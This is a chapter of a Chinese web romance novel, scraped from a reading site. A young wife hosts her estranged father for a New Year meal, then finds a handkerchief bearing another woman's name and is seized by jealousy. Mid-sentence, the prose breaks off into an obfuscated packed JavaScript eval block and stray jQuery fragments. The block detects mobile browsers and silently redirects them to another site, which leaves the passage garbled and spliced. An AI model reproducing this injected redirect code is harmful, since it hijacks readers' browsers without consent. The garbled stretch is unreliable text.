默认冷灰
24号文字
方正启体

21.丝帕

作者:惟安行本书字数:K更新时间:
    何怀忠走进如月居的时候,看到平日在何家灰头土脸的女儿,正容光焕发地把这个大将军女婿训得一愣一愣的。


    上次归宁,陈然那般护着她。何怀忠虽然不满她擅自就定下了这门亲事,不声不响就嫁人了,但看到小夫妻感情好,他心里也是快慰的。


    这些年,午夜梦回的时候总是想起鄢婳。她总是哭着问他,昙昙怎么样了,他有没有好好对她。


    他不敢回答,不敢看她的眼睛,也不敢说。


    虽是为了保住她的性命,也是为了想让她不缺失所谓的母爱,但他确实造成了昙昙十余年来的悲惨命运。他是始作俑者,他承认。


    所以何怀忠不敢见她,心虚的人见到苦主,总是越发心虚和愧疚。于是就想尽量避免见面。


    这个年节,他本来会过得很寂寞。年过半百,却孑然一身。除了一个偌大的镇国公府,他没有了妻儿,也没有了家人。


    王喜忘不了他走进镇国公府时的景象。


    他穿过喧闹的大街小巷,家家户户都张灯结彩,迎接新春。许多人家出来张贴春联,有的年轻人搭着梯子,老人在下面指挥,“欸,再往左一点……”“不对不对,再往右一点。”


    王喜也被这其乐融融的氛围带得高兴起来,想起夫人和将军和睦的样子,他心里暖暖的。又想着改天也要给阿银买一副对联,她一定高兴。


    就这样想着,王进到了镇国公府。


    门口两个仆童神色恹恹,见他出示摄政王府的令牌,恭敬地打开了大门。但却是除了本分工作,没有一句多余的话或一个多余的动作。


    沉闷得像两个假人,仿佛身后的镇国公府里有吸食他们快乐的怪兽,让人都不会笑了。


    王喜打了个寒噤。曾经气派的镇国公府怎么成了这副衰败的模样。


    四周都是白色的巾幡,接连两场丧事,镇国公府完全没有了生气。也没有看到下人,阴风恻恻,王喜硬着头皮加快了脚步。


    他本身胆子就不算大,只是平日里跟着将军,他阳气足,又武力强,只要在将军身边,王喜就没感觉到怕过。


    但是青天白日之下,这般阴冷,他也是有些招架不住。一边急急走着,脚下生风,后背都开始微微出汗,他看见了镇国公。


    和上次归宁只过了数月,何怀忠却老了许多。保养得当的皮肤不再那般紧致,而是显出些老态来。两鬓微霜,原来的一头乌发如今掺杂了些许银白,寒风中有些萧瑟。


    何怀忠侧对着王喜来处,坐在一个老旧藤椅上。思接千里地不知道在想些什么。


    王喜跪地行礼,双手恭敬地呈上信笺:“镇国公,这是宣平大小姐托我来送的请柬,邀您去府上过春节。”


    听的人似乎僵了一瞬,然后又不经意露出出习武之人的习性,一个探身飞速从王喜手里拿走了信笺。


    多日未曾安枕,布满红血丝的双眼反复扫视那几行小字。


    那簪花小楷还是他握着昙昙的手,一笔一画教会的。这确实是她的字。


    那日她和陈然夜潜镇国公府,何怀忠是知道的。


    但他希望她找到这些,希望她知道一切。


    多年习武且作为武家之首的何怀忠,又怎会被那点安睡药药倒呢?若是何怀忠不想让他们知道真相,自然有一万种方法掩饰。


    但何怀忠想让昙昙放心,因为若是找不到这些东西,她便会认定,他会找陈然报仇。


    面对这个邀约,何怀忠一路内心不住地打鼓。虽是亲生父女,但算起来……也有十一年没有一起过过春节了……


    看着她嫁给陈然,日子蒸蒸日上,他心中也欢喜。可当时那个江湖方士的话,他一直不敢忘。那江湖道人说,若她没有外界磋磨,异脉之力变无处倾泻,最后会一举爆发,回天无力。


    何怀忠总是像一条烤架上的煎鱼。昙昙若过得好,他记起方士诅咒般的预言;昙昙若过得不好,他在夜深人静想起鄢婳时,总是良心不安。


    就这样惴惴着,他看到了陈然对昙昙言听计从的样子。权墨麾下第一大将军的名号,他不是没有听过。只是他向来下手狠辣,何妙田也是这样死在他刀下,却对昙昙如此有耐心。


    见门口多了一个人,何宣平登时收敛起陈然面前那副娇蛮的样子,气势也弱了下来。


    她多年没与父亲亲近了,这番实在是有些……近乡情更怯。


    陈然的大手紧紧包住她的手,捏了捏,似乎是在告诉她,他在。


    陈然牵着何宣平,缓缓走到门口,眼神示意王喜先下去准备饭菜,恭恭敬敬作了个揖:“见过岳父大人。”


    上次二人闹得不愉快,是因为心结。陈然以为何怀忠对昙昙不好,何怀忠以为他们摄政王府诱骗了自己的女儿,双方又不能撕破脸,于是那般不对付。


    但这次不一样。陈然知道他是昙昙世间仅剩的亲人了,而且他也算有心,是个能顶事的父亲。虽然他让昙昙受了那么多苦,但也是为了保全她的性命。


    何况杀了他不是亲生、却胜似亲生的二女儿,何怀忠虽未找他麻烦,但他还是恭敬一些比较好。


    何怀忠摆出长辈的架势,颔首嗯了一声,抬手示意陈然免礼。


    何宣平在旁边怯怯地看着略显老态的父亲,心里一阵发酸。心里的纠结瞬间脱口而出成关心的话语:“爹,您累了吧,我备好了饭菜,去用一点吧。”


    “欸……”何怀忠笑得很慈祥,多年没和昙昙这样相处,他都觉得恍若隔世了。


    林姨做了何怀忠爱吃的红烧大鲤鱼、扁豆炖牛肉、油炸小黄鱼,还有四季青。平日里,主家就爱吃这几样菜,几十年没变过。当时小姐忙不过来,叫她来这里帮厨,主家也是二话没说就同意了。


    所以今天一听说主家要来,林姨就赶紧上街去买了这些食材,紧赶慢赶地准备着。多亏赶上了。


    上菜时,林姨瞥见何怀忠的样子,吃了好大一惊。却又不动声色地调整好自己的表情,只是给大家介绍各色菜品。


    这顿饭吃得有些沉默。


    “昙昙,你吃。”何怀忠夹了一大块鱼肉到何宣平碗里。


    “谢谢爹。”何宣平有些不好意思。


    何怀忠见过了半天,她也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954632|192319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没吃自己夹到碗里的鱼肉,反而是陈然夹给她的菜都很快吃掉了。心里还有些暗自伤心,女儿确实和他疏远了。


    见陈然默默把鱼肉夹进自己碗里吃掉,何怀忠模糊的记忆才突然清晰起来。


    鄢婳和他一起陪昙昙吃饭,但昙昙的筷子从没夹过鱼。


    是了,她被鱼刺卡过,所以不爱吃鱼。他怎么就忘了呢?


    何怀忠有些懊恼。何妙田爱吃鱼,所以他次次都会给她夹,却忘了昙昙不爱吃。


    有时候人的感情,就像这块鱼肉。看着是关心,其实那关心里应该有的东西,都缺席太久了。久到夹菜的这个人,都忘了她还需不需要这样的关心。


    父亲给自己夹菜,何宣平是高兴的。可当看到夹在碗里的是那块鱼肉,心又歘的一下冷下来。


    不看父亲的脸,她都能想到他是把自己当成爱吃鱼的何妙田了。


    陈然一个劲地给她夹牛肉,她都吃撑了。瞪着眼睛让陈然别再夹了。


    陈然悻悻收回筷子,耸了耸肩。


    “夫人,你说要洗一下的帕子,是这个吗?”阿银突然走进来,举着一方素帕问道。


    何宣平点头回答,正欲收回视线,却发现角落里一个字特别清晰,她伸手拿过来仔细辨认。


    是“岚”字。


    何宣平有些疑惑地抬头看陈然,他怎会用绣有女子名讳的丝帕?


    虽然他是将军,但不应该不懂男女之防吧?她未出阁的时候就听下人们说过,绣有女子姓名的丝帕,若是遗失,是可以报官的。因为若有男子冒领,会败坏女子名声。


    今日陈然给她擦眼泪,她还疑惑,从哪里突然掏出一方手帕来,不像他这个武将的风格。


    没想到是个女子的丝帕。


    何宣平这段时间以来,心中的温暖、快乐、平静和满足,见到父亲的欣喜,都在陈然有些慌乱的眼神中被夷为平地。


    何宣平猛地站起身,扭头就要走。椅子在地板上摩擦出刺耳的声音,陈然像堵墙一样挡在她前面,捏住她的手腕,她动弹不得。


    “昙昙,你听我解释。”陈然软言相劝道。


    何宣平什么也不想听,她看到他慌乱的眼神,便不想听了。


    或者说……她不敢听。


    她怕听见她不想听的内容。万一这不是误会,万一真是他心爱的女子,怎么办?


    她不是他自己选的。是摄政王硬塞给他的。万一在那之前他有真正爱的人怎么办?万一他现在还在爱她怎么办?


    何宣平大脑一团乱麻,轰地一下炸开,只能听到自己耳鸣的声音。


    陈然还在说些什么,她听不清。她满脑子都是陈然和别的女人在一起相拥、依偎、甚至唇齿相依的场景。她猛地甩头,想把这些画面从脑子里赶出去。


    陈然两手钳住她的肩膀,想让她冷静下来听他说。可她安静不下来,那些画面如潮水般涌入她的大脑。


    她快要嫉妒疯了。


    她突然意识到,自己已经无药可救地爱上了他。而这方丝帕的出现提醒了她,如果陈然不爱她,那该怎么办?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)